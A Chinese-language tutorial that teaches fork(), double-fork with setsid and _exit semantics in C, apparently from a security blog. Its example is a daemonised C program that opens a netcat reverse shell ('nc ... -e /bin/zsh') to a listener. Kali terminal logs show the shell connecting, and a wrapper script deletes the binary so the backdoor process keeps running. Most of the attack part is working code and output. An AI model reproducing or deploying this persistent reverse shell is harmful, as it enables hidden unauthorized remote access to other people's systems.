C 语言守护进程持久化连接

目录

fork

  • fork() 用来创建一个子进程
  • 调用一次,返回两次:
    • 在父进程里返回:子进程的 PID
    • 在子进程里返回:0
    • 失败返回:-1

你可以把它理解成:

  • 原来只有 1 个进程
  • 调用 fork() 后,变成 父进程 + 子进程
  • 两边都会从 fork() 后面那一行继续往下执行

fork 正常的用途:

  • 父进程继续做自己的事
  • 子进程去做另一件事
  • 很多服务端程序、守护进程、shell 都会这样干

fork 非正常用途:

场景:程序运行后立马删除,为了持久化连接,使用守护进程技术(双分支 + setsid)成功实现持久连接:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int fork(void);
int system(const char *command);
void _exit(int status);
int setsid(void);

int main(void){
    //
    int pid = fork();
    if (pid != 0) return 0;
    setsid();
    pid = fork();
    if (pid != 0) _exit(0);
    //
    // 这部分为守护进程持久化代码的核心
    return system("nc 192.168.174.130 39666 -e /bin/zsh");
}

疑问回答:为什么第二个if用_exit(0),而不用return 0退出?

先只理解 fork() 做了什么

fork() 会复制出一个新进程。

复制出来以后:

  • 父进程继续跑
  • 子进程也从同一个地方继续跑
  • 子进程会继承父进程当前很多“内存里的状态”

这里的“状态”里,就包括:

  • printf 还没真正写出去的内容(缓冲区)
  • atexit(…) 登记过的“退出时要做的事”

什么叫“缓冲区被继承”

看这个例子:

1
printf("hello"); fork(); exit(0); 

注意:“hello” 后面没有换行,所以它可能还只是放在内存缓冲区里,还没真正显示出来。

如果这时 fork():

  • 父进程内存里有一份 “hello”
  • 子进程也复制到一份 “hello”

然后父子都 exit(0):

  • 父进程刷一次缓冲区,输出一个 hello
  • 子进程也刷一次缓冲区,又输出一个 hello

结果你可能看到:

1
hellohello 

这就是“重复刷新”。


atexit 也类似

比如程序里提前登记了:

1
atexit(cleanup); 

那么正常 exit(0) 时会执行 cleanup()。

fork() 之后,子进程也继承了这个登记。

如果子进程这时也走 exit(0),那么:

  • 父进程退出时执行一次 cleanup
  • 子进程退出时也执行一次 cleanup

但这个清理动作本来可能只想让原进程做一次。 子进程再做一遍,可能就不合适。


所以 _exit(0) 的作用是什么

_exit(0) 不会去:

  • 刷新 stdio 缓冲区
  • 调用 atexit 回调

它就是:

  • 这个子进程任务结束
  • 直接内核级退出
  • 不碰那些“继承来的收尾工作”

所以在 fork() 之后,如果某个子进程只是个“临时中间进程”,通常就用 _exit(0)。

放回你这段代码里理解

第二次 fork() 后:

1
pid = fork(); if (pid != 0) _exit(0); 

这里 pid != 0 的这个进程,是“第二次 fork 的父进程”,也就是那个中间子进程。 它的作用只是:

  • 帮你再 fork 一次
  • 然后自己赶紧退出

既然它只是个“过渡角色”,就不应该再做完整的用户态清理,所以用 _exit(0)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#终端1:
warn@kali:/tmp/123$ gcc shell.c -o shell
#编译
#终端2:
warn@kali:~$ nc -lvnp 39666 
listening on [any] 39666 ...
#监听
#终端1
warn@kali:/tmp/123$ ./shell 
#终端2:
warn@kali:~$ nc -lvnp 39666 
listening on [any] 39666 ...
connect to [192.168.174.130] from (UNKNOWN) [192.168.174.130] 59510
id
uid=1000(warn) gid=1000(warn) groups=1000(warn),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer)
echo $SHELL
/usr/bin/zsh

这可能还不能体现出上面稳定的功能:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 终端1
warn@kali:/tmp/123$ cat shell.sh 
#!/bin/zsh

./shell

rm -rf ./shell
# 终端2
warn@kali:~$ nc -lvnp 39666
listening on [any] 39666 ...
# 终端1
warn@kali:/tmp/123$ zsh shell.sh       
warn@kali:/tmp/123$ ls -al
total 8
drwxrwxr-x  2 warn warn  80 Apr 26 10:55 .
drwxrwxrwt 13 root root 320 Apr 26 10:49 ..
-rw-rw-r--  1 warn warn 279 Apr 26 10:49 shell.c
-rw-rw-r--  1 warn warn  36 Apr 26 10:55 shell.sh
warn@kali:/tmp/123$ ps -aux | grep shell
warn        3444  0.0  0.0   2428   732 ?        S    10:55   0:00 ./shell
warn        3711  0.0  0.0   9628  2380 pts/0    S+   11:02   0:00 grep --color=auto shell
# 终端2
warn@kali:~$ nc -lvnp 39666
listening on [any] 39666 ...
connect to [192.168.174.130] from (UNKNOWN) [192.168.174.130] 35824
id
uid=1000(warn) gid=1000(warn) groups=1000(warn),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer)

从这一步可以看到,即使执行完./shell 并删除后,进程里面依然存在./shell进程,连接还存在。